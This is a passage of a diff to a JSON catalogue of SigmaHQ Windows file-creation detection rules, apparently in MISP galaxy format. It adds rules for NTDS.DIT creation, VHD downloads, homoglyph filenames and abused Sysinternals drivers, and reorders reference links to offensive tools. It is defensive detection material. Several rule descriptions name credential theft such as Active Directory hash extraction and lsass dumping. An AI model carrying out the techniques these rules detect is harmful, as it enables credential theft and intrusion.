Active Directory database (ntds.dit) file", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/11", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_susp_ntds_dit.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/", - "https://adsecurity.org/?p=2398", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_ntds_dit.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.003" - ] - }, - "related": [ - { - "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "11b1ed55-154d-4e82-8ad7-83739298f720", - "value": "Suspicious Process Writes Ntds.dit" - }, { "description": "Detects potential privilege escalation attempt via the creation of the \"*.Exe.Local\" folder inside the \"System32\" directory in order to sideload \"comctl32.dll\"", "meta": { @@ -34845,38 +34621,81 @@ "value": "Potential Privilege Escalation Attempt Via .Exe.Local Technique" }, { - "description": "Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant", + "description": "Detects creation of \".vhd\"/\".vhdx\" files by browser processes.\nMalware can use mountable Virtual Hard Disk \".vhd\" files to encapsulate payloads and evade security controls.\n", "meta": { - "author": "@41thexplorer", - "creation_date": "2018/11/20", + "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "creation_date": "2021/10/25", "falsepositive": [ - "Unlikely" + "Legitimate downloads of \".vhd\" files would also trigger this" ], - "filename": "file_event_win_apt_cozy_bear_phishing_campaign_indicators.yml", - "level": "critical", + "filename": "file_event_win_vhd_download_via_browsers.yml", + "level": "medium", "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/DrunkBinary/status/1063075530180886529", - "https://www.mandiant.com/resources/blog/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_apt_cozy_bear_phishing_campaign_indicators.yml" + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/", + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vhd_download_via_browsers.yml" ], "tags": [ - "attack.execution", - "attack.t1218.011" + "attack.resource_development", + "attack.t1587.001" ] }, "related": [ { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], - "uuid": "3a3f81ca-652c-482b-adeb-b1c804727f74", - "value": "APT29 2018 Phishing Campaign File Indicators" + "uuid": "8468111a-ef07-4654-903b-b863a80bbc95", + "value": "VHD Image Download Via Browser" + }, + { + "description": "Detects creation of a file named \"ntds.dit\" (Active Directory Database) by an uncommon process or a process located in a suspicious directory", + "meta": { + "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2022/01/11", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_ntds_dit_uncommon_process.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=2398", + "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_uncommon_process.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.003" + ] + }, + "related": [ + { + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "11b1ed55-154d-4e82-8ad7-83739298f720", + "value": "NTDS.DIT Creation By Uncommon Process" }, { "description": "Detects files written by the different tools that exploit HiveNightmare", @@ -34891,10 +34710,10 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://twitter.com/cube0x0/status/1418920190759378944", + "https://github.com/FireFart/hivenightmare/", "https://github.com/GossiTheDog/HiveNightmare", "https://github.com/WiredPulse/Invoke-HiveNightmare", - "https://github.com/FireFart/hivenightmare/", - "https://twitter.com/cube0x0/status/1418920190759378944", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_hivenightmare_file_exports.yml" ], "tags": [ @@ -34928,9 +34747,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53", "https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/", + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53", + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_susp_macro_creation.yml" ], "tags": [ @@ -34980,11 +34799,11 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://twitter.com/luc4m/status/1073181154126254080", "https://twitter.com/malwrhunterteam/status/1235135745611960321", - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml" ], "tags": [ @@ -35050,8 +34869,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy", "https://twitter.com/0gtweet/status/1465282548494487554", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml" ], "tags": [ @@ -35164,11 +34983,11 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/helpsystems/nanodump", - "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml", - "https://www.google.com/search?q=procdump+lsass", + "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", + "https://www.google.com/search?q=procdump+lsass", + "https://github.com/helpsystems/nanodump", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_dump.yml" ], "tags": [ @@ -35260,12 +35079,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/", - "https://twitter.com/MaD_c4t/status/1623414582382567424", "https://labs.withsecure.com/publications/detecting-onenote-abuse", - "https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/", - "https://www.trustedsec.com/blog/new-attacks-old-tricks-how-onenote-malware-is-evolving/", + "https://twitter.com/MaD_c4t/status/1623414582382567424", + "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/", "https://app.any.run/tasks/17f2d378-6d11-4d6f-8340-954b04f35e83/", + "https://www.trustedsec.com/blog/new-attacks-old-tricks-how-onenote-malware-is-evolving/", + "https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_onenote_susp_dropped_files.yml" ], "tags": [ @@ -35288,8 +35107,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tool_psexec.yml" ], "tags": [ @@ -35310,6 +35129,42 @@ "uuid": "259e5a6a-b8d2-4c38-86e2-26c5e651361d", "value": "PsExec Service File Creation" }, + { + "description": "Detects creation of a file named \"ntds.dit\" (Active Directory Database) by an uncommon parent process or directory", + "meta": { + "author": "Florian Roth (Nextron Systems)", + "creation_date": "2022/03/11", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_ntds_dit_uncommon_parent_process.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://pentestlab.blog/tag/ntds-dit/", + "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_uncommon_parent_process.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ] + }, + "related": [ + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "4e7050dd-e548-483f-b7d6-527ab4fa784d", + "value": "NTDS.DIT Creation By Uncommon Parent Process" + }, { "description": "Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs", "meta": { @@ -35347,11 +35202,11 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://twitter.com/luc4m/status/1073181154126254080", "https://twitter.com/malwrhunterteam/status/1235135745611960321", - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml" ], "tags": [ @@ -35404,6 +35259,43 @@ "uuid": "5f87308a-0a5b-4623-ae15-d8fa1809bc60", "value": "Suspicious Files in Default GPO Folder" }, + { + "description": "Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself.\nHack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.\n", + "meta": { + "author": "Florian Roth (Nextron Systems)", + "creation_date": "2023/05/05", + "falsepositive": [ + "Some false positives may occur with legitimate renamed process explorer binaries" + ], + "filename": "file_event_win_sysinternals_procexp_driver_susp_creation.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/", + "https://www.elastic.co/security-labs/stopping-vulnerable-driver-attacks", + "https://github.com/Yaxser/Backstab", + "https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_procexp_driver_susp_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1068" + ] + }, + "related": [ + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "de46c52b-0bf8-4936-a327-aace94f94ac6", + "value": "Process Explorer Driver Creation By Non-Sysinternals Binary" + }, { "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n", "meta": { @@ -35559,8 +35451,8 @@ "logsource.product": "windows", "refs": [ "Internal Research", - "https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence", "https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md", + "https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_addin_persistence.yml" ], "tags": [ @@ -35593,8 +35485,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/", "https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae", + "https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_executable_creation.yml" ], "tags": [ @@ -35614,6 +35506,48 @@ "uuid": "74babdd6-a758-4549-9632-26535279e654", "value": "Suspicious Executable File Creation" }, + { + "description": "Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters.\nThis is used as an obfuscation and masquerading techniques. Only \"perfect\" homoglyphs are included; these are characters that\nare indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.\n", + "meta": { + "author": "Micah Babinski, @micahbabinski", + "creation_date": "2023/05/08", + "falsepositive": [ + "File names with legitimate Cyrillic text. Will likely require tuning (or not be usable) in countries where these alphabets are in use." + ], + "filename": "file_event_win_susp_homoglyph_filename.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "http://www.irongeek.com/homoglyph-attack-generator.php", + "https://redcanary.com/threat-detection-report/threats/socgholish/#threat-socgholish", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_homoglyph_filename.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1036.003" + ] + }, + "related": [ + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "4f1707b1-b50b-45b4-b5a2-3978b5a5d0d6", + "value": "Potential Homoglyph Attack Using Lookalike Characters in Filename" + }, { "description": "Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675", "meta": { @@ -35628,8 +35562,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/hhlxf/PrintNightmare", - "https://github.com/cube0x0/CVE-2021-1675", "https://github.com/afwu/PrintNightmare", + "https://github.com/cube0x0/CVE-2021-1675", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_1675_printspooler.yml" ], "tags": [ @@ -35689,10 +35623,10 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=79", - "https://learn.microsoft.com/en-us/office/vba/outlook/concepts/outlook-forms/create-an-outlook-form", "https://www.slipstick.com/developer/custom-form/clean-outlooks-forms-cache/", + "https://learn.microsoft.com/en-us/office/vba/outlook/concepts/outlook-forms/create-an-outlook-form", "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=76", + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=79", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_newform.yml" ], "tags": [ @@ -36162,11 +36096,11 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml" ], "tags": [ @@ -36234,22 +36168,25 @@ "logsource.product": "windows", "refs": [ "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://github.com/samratashok/nishang", + "https://github.com/nettitude/Invoke-PowerThIEf", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/Kevin-Robertson/Powermad", "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/DarkCoderSc/PowerRunAsSystem/", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://github.com/adrecon/ADRecon", + "https://github.com/NetSPI/PowerUpSQL", + "https://github.com/S3cur3Th1sSh1t/WinPwn", + "https://github.com/AlsidOfficial/WSUSpendu/", "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/HarmJ0y/DAMP", - "https://github.com/samratashok/nishang", - "https://github.com/AlsidOfficial/WSUSpendu/", - "https://github.com/nettitude/Invoke-PowerThIEf", - "https://github.com/DarkCoderSc/PowerRunAsSystem/", - "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", "https://github.com/besimorhino/powercat", + "https://github.com/adrecon/AzureADRecon", + "https://github.com/HarmJ0y/DAMP", "https://github.com/PowerShellMafia/PowerSploit", - "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", - "https://github.com/S3cur3Th1sSh1t/WinPwn", "https://github.com/CsEnox/EventViewer-UACBypass", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", - "https://github.com/NetSPI/PowerUpSQL", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml" ], "tags": [ @@ -36282,9 +36219,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml" ], "tags": [ @@ -36355,6 +36292,40 @@ "uuid": "7280c9f3-a5af-45d0-916a-bc01cb4151c9", "value": "Suspicious MSExchangeMailboxReplication ASPX Write" }, + { + "description": "Detects suspicious file based on their extension being created in \"C:\\PerfLogs\\\". Note that this directory mostly contains \".etl\" files", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/05/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_perflogs_susp_files.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_perflogs_susp_files.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "bbb7e38c-0b41-4a11-b306-d2a457b7ac2b", + "value": "Suspicious File Created In PerfLogs" + }, { "description": "Detects processes creating temp files related to PCRE.NET package", "meta": { @@ -36500,8 +36471,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://persistence-info.github.io/Data/powershellprofile.html", "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "https://persistence-info.github.io/Data/powershellprofile.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_powershell_profile.yml" ], "tags": [ @@ -36849,8 +36820,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_susp_directories.yml" ], "tags": [ @@ -36885,8 +36856,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", "https://github.com/klinix5/InstallerFileTakeOver", + "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_41379_msi_lpe.yml" ], "tags": [ @@ -36954,10 +36925,10 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008", "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", - "https://github.com/olafhartong/sysmon-modular/blob/fa1ae53132403d262be2bbd7f17ceea7e15e8c78/11_file_create/include_dotnet.xml", + "https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008", "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/", + "https://github.com/olafhartong/sysmon-modular/blob/fa1ae53132403d262be2bbd7f17ceea7e15e8c78/11_file_create/include_dotnet.xml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml" ], "tags": [ @@ -36990,9 +36961,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs", "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs", "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_inveigh_artefacts.yml" ], "tags": [ @@ -37026,8 +36997,8 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute", - "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g", + "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml" ], "tags": [ @@ -37051,9 +37022,9 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", "https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html", "https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html", + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop.yml" ], "tags": [ @@ -37126,8 +37097,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/outflanknl/Dumpert", "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/outflanknl/Dumpert", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_dumpert.yml" ], "tags": [ @@ -37194,8 +37165,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py", "https://github.com/Porchetta-Industries/CrackMapExec", + "https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_cred_dump.yml" ], "tags": [ @@ -37248,6 +37219,40 @@ "uuid": "0b9ad457-2554-44c1-82c2-d56a99c42377", "value": "Anydesk Temporary Artefact" }, + { + "description": "Detects creation of the Process Monitor driver by processes other than Process Monitor (procmon) itself.", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2023/05/05", + "falsepositive": [ + "Some false positives may occur with legitimate renamed process monitor binaries" + ], + "filename": "file_event_win_sysinternals_procmon_driver_susp_creation.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_procmon_driver_susp_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1068" + ] + }, + "related": [ + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "a05baa88-e922-4001-bc4d-8738135f27de", + "value": "Process Monitor Driver Creation By Non-Sysinternals Binary" + }, { "description": "Detects the creation of files created by mimikatz such as \".kirbi\", \"mimilsa.log\", etc.", "meta": { @@ -37261,8 +37266,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/", "https://cobalt.io/blog/kerberoast-attack-techniques", + "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_mimikatz_files.yml" ], "tags": [ @@ -37295,8 +37300,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py", "https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/", + "https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml" ], "tags": [ @@ -37446,8 +37451,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", + 